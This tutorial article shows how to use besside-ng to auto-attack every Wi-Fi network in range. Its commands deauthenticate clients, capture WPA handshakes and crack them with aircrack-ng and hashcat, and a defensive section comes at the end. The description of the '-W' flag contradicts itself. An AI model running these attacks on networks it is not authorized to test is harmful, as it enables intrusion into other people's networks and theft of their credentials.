Techzone/Besside-ng

Besside-ng

3 min readArticle

Besside-ng is part of the aircrack-ng suite and does one thing ruthlessly well: auto-attacks every AP in range without any interaction from you. It cracks WEP on the fly and captures WPA/WPA2 handshakes for every visible network simultaneously. Point it at a monitor-mode interface and walk away.

What It Does

  • WEP: Fully automated — injects ARP requests, collects IVs, cracks internally with aircrack-ng. No manual steps.
  • WPA/WPA2: Deauths associated clients, forces re-association, captures 4-way handshakes, saves them to wpa.cap
  • Logs everything to besside.log — one line per network with result (cracked key or handshake status)
  • Hops channels automatically; attacks all visible networks concurrently

Prerequisites

bash
# Put the card into monitor mode
airmon-ng start wlan0

# Verify monitor mode interface is up
iwconfig | grep Mode

# Test packet injection capability
aireplay-ng --test wlan0mon

Basic Usage

bash
# Attack all WEP and WPA networks in range (the blunt approach)
besside-ng wlan0mon

# Target a single AP by BSSID
besside-ng -b AA:BB:CC:DD:EE:FF wlan0mon

# Lock to a specific channel (reduces noise, faster on target channel)
besside-ng -c 6 wlan0mon

# WPA only — skip WEP, only capture handshakes
besside-ng -W wlan0mon    # Note: -W means "no WPA" — use without -W for WPA

# Verbose — shows deauth and inject activity in real time
besside-ng -v wlan0mon

# Skip a specific BSSID (e.g., your own AP or an authorized exclusion)
besside-ng -s AA:BB:CC:DD:EE:FF wlan0mon

Output Files

File Contents
wpa.cap All captured WPA handshakes — feed to aircrack-ng or hashcat
wep.cap WEP packet captures
besside.log Per-network outcome log

Check the log while it runs:

bash
tail -f besside.log

Cracking WPA Handshakes After Capture

bash
# Dictionary attack on all captured handshakes at once
aircrack-ng wpa.cap -w /usr/share/wordlists/rockyou.txt

# Specify target ESSID to focus on one network in a multi-network capture
aircrack-ng wpa.cap -w /usr/share/wordlists/rockyou.txt -e "TargetSSID"

# Convert to hashcat 22000 format for GPU cracking (much faster)
hcxpcapngtool -o hashes.hc22000 wpa.cap
hashcat -m 22000 hashes.hc22000 /usr/share/wordlists/rockyou.txt --force

# Check which networks have valid handshakes in the cap
aircrack-ng wpa.cap

Key Flags Reference

Flag Meaning
-b Target single AP only
-c Lock to channel number
-W Disable WPA (WEP only mode)
-v Verbose output
-s Skip this BSSID
-R Skip 802.11w / MFP check

Limitations and Gotchas

  • Injection-capable card required — most built-in laptop cards don't support injection. Use Alfa AWUS036ACH or similar.
  • WEP cracking needs traffic — if no clients are associated, it may stall waiting for ARP responses. Open APs with active clients crack fastest.
  • WPA requires at least one associated client — it can't capture a handshake if no device is connected to the AP.
  • WPA3-only networks are immune — SAE authentication is not vulnerable to deauth-based handshake capture.
  • Very noisy — besside-ng sends a flood of deauth frames and injection packets. Detected easily by any WIDS.
  • Log gets large fast in dense environments — pipe through tee: besside-ng wlan0mon 2>&1 | tee session.log

Defense Perspective

  • Never run WEP — it's dead. besside-ng cracks it in minutes regardless of key length.
  • Enable 802.11w (PMF) — Management Frame Protection makes deauth floods ineffective. Most modern routers support it; enable "Required" mode.
  • WPA3 transition mode — protects modern devices while supporting legacy WPA2 clients.
  • Wireless IDS — tools like Kismet, Snort wireless rules, or commercial WIDS will alert on mass deauth events.
  • SSID hiding doesn't help — besside-ng captures probe responses and beacon frames regardless.

Reference

techzonesite.comUnlock Your IT Potential